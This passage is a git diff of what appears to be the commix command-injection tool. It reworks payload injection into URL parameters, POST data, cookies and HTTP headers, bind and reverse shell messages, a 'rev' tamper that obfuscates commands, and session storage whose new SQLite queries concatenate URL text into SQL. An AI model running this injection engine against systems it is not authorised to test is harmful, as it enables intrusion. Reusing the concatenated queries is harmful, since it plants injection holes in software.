settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return referer """ The host based injection. """ def specify_host_parameter(host): - settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return host """ @@ -708,6 +768,12 @@ def specify_host_parameter(host): """ def specify_custom_header_parameter(header_name): header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] + return header_name # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5613b9f785..8fc20e6d42 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -153,9 +153,9 @@ def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" - info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + info_msg = "Setting pair of credentials '" + info_msg += menu.options.auth_cred + "' from stored session." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: @@ -169,7 +169,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -198,7 +198,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -253,9 +253,8 @@ def estimate_response_time(url, timesec, http_request_method): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == settings.OS.WINDOWS : - timesec = timesec + 1 - + # if settings.TARGET_OS == settings.OS.WINDOWS : + # timesec = timesec + 1 return timesec, url_time_response """ @@ -327,7 +326,7 @@ def request_failed(err_msg): err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " - if settings.MULTI_TARGETS or settings.CRAWLING: + if settings.CRAWLING: err_msg += "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: @@ -416,6 +415,60 @@ def get_request_response(request): return response +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATIVE_ATTACK: + start = 0 + end = 0 + start = time.time() + + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) + #data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + else: + data = checks.process_injectable_value(payload, menu.options.data) + # if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""): + # data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATIVE_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response + + return response, vuln_parameter + """ Check if target host is vulnerable. (Cookie-based injection) """ @@ -435,9 +488,11 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = checks.payload_fixation(payload) # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, payload)) + cookie = checks.process_injectable_value(payload, menu.options.cookie) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)) + # else: + request.add_header(settings.COOKIE, cookie) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -609,10 +664,10 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) + # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) + # else: + request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -826,97 +881,49 @@ def url_reload(url, timesec): response = urllib.urlopen(url) return response -""" -Check if target host is vulnerable. -""" -def init_injection(payload, http_request_method, url): - if settings.TIME_RELATIVE_ATTACK: - start = 0 - end = 0 - start = time.time() - - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - payload = payload.replace("#","%23") - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - else: - parameter = menu.options.data - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - vuln_parameter = parameters.vuln_POST_param(parameter, url) - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - headers.do_check(request) - response = get_request_response(request) - - if settings.TIME_RELATIVE_ATTACK: - end = time.time() - response = int(end - start) - else: - exec_time = response - - return response, vuln_parameter - """ Calculate the time relative execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" + ")}", ")" + ")}") - + payload, prefix = parameters.prefixes(payload, prefix) + payload, suffix = parameters.suffixes(payload, suffix) + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) - + # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter("") + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: + elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) + vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: + elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) + vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: + elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_host_parameter(menu.options.host) + vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) exec_time = host_injection(url, vuln_parameter, payload, http_request_method) - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - if not vuln_parameter: - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) else: exec_time, vuln_parameter = init_injection(payload, http_request_method, url) - return exec_time, vuln_parameter + return exec_time, vuln_parameter, payload, prefix, suffix # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 3b28cfd9ae..2bf67625e6 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -48,14 +48,6 @@ def shell_options(option): else: return option -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -463,7 +455,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option @@ -473,7 +465,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 89779a76d0..a373eb1d75 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -63,14 +63,6 @@ def gen_payload_msg(payload): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -670,7 +662,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option @@ -680,7 +672,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index c57458f03b..c4b952c2b2 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -30,12 +30,12 @@ def tamper(payload): if settings.EXPLOITATION_PHASE: - if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: if settings.USE_BACKTICKS: - rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`" + rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`" else: - rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index bfffdc823f..4b07d3f391 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -34,6 +34,13 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Success msg. +""" +def shell_success(option): + info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Invalid cmd output """ diff --git a/src/utils/logs.py b/src/utils/logs.py index 4afd94ecfc..1407b5fb95 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -77,7 +77,6 @@ def logs_filename_creation(url): Create log files """ def create_log_file(url, output_dir): - host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" logs_path = output_dir + host @@ -99,7 +98,7 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = logs_path + "session.db" # Load command history - if settings.LOAD_SESSION == True: + if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY): checks.load_cmd_history() # The logs filename construction. @@ -200,9 +199,11 @@ def log_traffic(header): Print logs notification. """ def print_logs_notification(filename, url): - checks.save_cmd_history() + if os.path.exists(settings.CLI_HISTORY): + checks.save_cmd_history() if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: - logs_notification(filename) + if not settings.LOAD_SESSION: + logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index b0f81f24e6..18f9721f78 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -540,8 +540,7 @@ def banner(): detection.add_option("--level", dest="level", - type="int", - default=1, + default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") detection.add_option("--skip-calc", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6c92d5f736..28c885b2c7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -30,6 +30,11 @@ """ no_such_table = False +""" +""" +def split_url(url): + return url.split("?")[0] + """ Generate table name for SQLite3 db. """ @@ -66,8 +71,7 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Unable to flush the session file." + str(err_msg).title() + err_msg = "Unable to flush the session file. " + str(err_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: @@ -82,38 +86,39 @@ def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);") + query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \ + "id NOT IN (SELECT MAX(id) FROM " + \ + table_name(url) + "_ip GROUP BY technique);" + conn.execute(query) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, exec_time, output_length, is_vulnerable) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\ + "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ int(url_time_response), int(timesec), int(exec_time), \ - int(output_length), str(is_vulnerable))) + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: @@ -123,7 +128,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except sqlite3.DatabaseError as err_msg: checks.error_loading_session_file() @@ -131,117 +136,127 @@ def injection_point_importation(url, technique, injection_type, separator, shell """ Export successful applied techniques from session file. """ -def applied_techniques(url, http_request_method): - try: +def applied_techniques(url, http_request_method): + try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if not menu.options.tech: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ - "ORDER BY id DESC;") - - if settings.TESTABLE_PARAMETER: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - else: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - values = [] - for session in applied_techniques: - if "tempfile" in session[0][:8]: - settings.TEMPFILE_BASED_STATE = True - session = session[0][4:] - elif "dynamic" in session[0][:7]: - settings.EVAL_BASED_STATE = True - session = session[0][13:] - values += session[0][:1] - applied_techniques = ''.join(list(set(values))) - return applied_techniques + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + techniques.append(technique) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + return techniques except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques """ -Export successful applied techniques from session file. +Export successful applied injection level from session file. """ def applied_levels(url, http_request_method): + level = settings.DEFAULT_INJECTION_LEVEL + try: + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + http_header = session[12] + level = int(session[18]) + if http_header: + if http_header == settings.COOKIE.lower(): + level = settings.COOKIE_INJECTION_LEVEL + else: + level = settings.HTTP_HEADER_INJECTION_LEVEL + return level + except sqlite3.OperationalError as err_msg: + settings.LOAD_SESSION = None + return level + except: + settings.LOAD_SESSION = None + return level + +""" +Export successful injection points from session file. +""" +def check_stored_injection_points(url, check_parameter, http_request_method): + _ = False try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query).fetchall() + # vuln_parameter = check_parameter + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + url = session[1] + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + if technique in menu.options.tech: + _ = True + techniques.append(technique) + cookie = session[20] + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + if _: + vuln_parameter = session[6] + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + if not settings.MULTI_TARGETS: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return url, vuln_parameter + else: + settings.LOAD_SESSION = False + return url, vuln_parameter else: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - - for session in applied_level: - return session[0] - + settings.LOAD_SESSION = None + return url, check_parameter except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter """ Export successful injection points from session file. """ -def injection_point_exportation(url, http_request_method): +def export_injection_points(url, technique, injection_type, http_request_method): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ - table_name(url) + "_ip' AND type = 'table';") - if result: - # if menu.options.tech[:1] == "c": - # select_injection_type = "R" - # elif menu.options.tech[:1] == "e": - # settings.EVAL_BASED_STATE = True - # select_injection_type = "R" - # elif menu.options.tech[:1] == "t": - # select_injection_type = "B" - # else: - # select_injection_type = "S" - # if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - # check_injection_technique = "t" - # elif settings.EVAL_BASED_STATE and select_injection_type == "R": - # check_injection_technique = "d" - # else: - # check_injection_technique = menu.options.tech[:1] - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - - else: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "http_header = '" + settings.HTTP_HEADER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - + conn = sqlite3.connect(settings.SESSION_FILE) + result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';") + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \ + "url like '%" + split_url(url) + "%' AND " + \ + "technique == '" + technique + "' AND " + \ + "injection_type == '" + injection_type + "' AND " + \ + "http_request_method == '" + http_request_method + "';" + cursor = conn.execute(query).fetchall() + if cursor: for session in cursor: url = session[1] technique = session[2] @@ -254,67 +269,36 @@ def injection_point_exportation(url, http_request_method): TAG = session[9] alter_shell = session[10] payload = session[11] + http_header = session[12] http_request_method = session[13] url_time_response = session[14] timesec = session[15] exec_time = session[16] output_length = session[17] is_vulnerable = session[18] + data = session[19] + cookie = session[20] + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable + else: + settings.LOAD_SESSION = None + return False else: no_such_table = True pass except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False except: - settings.LOAD_SESSION = False - return False - -""" -Notification about session. -""" -def notification(url, 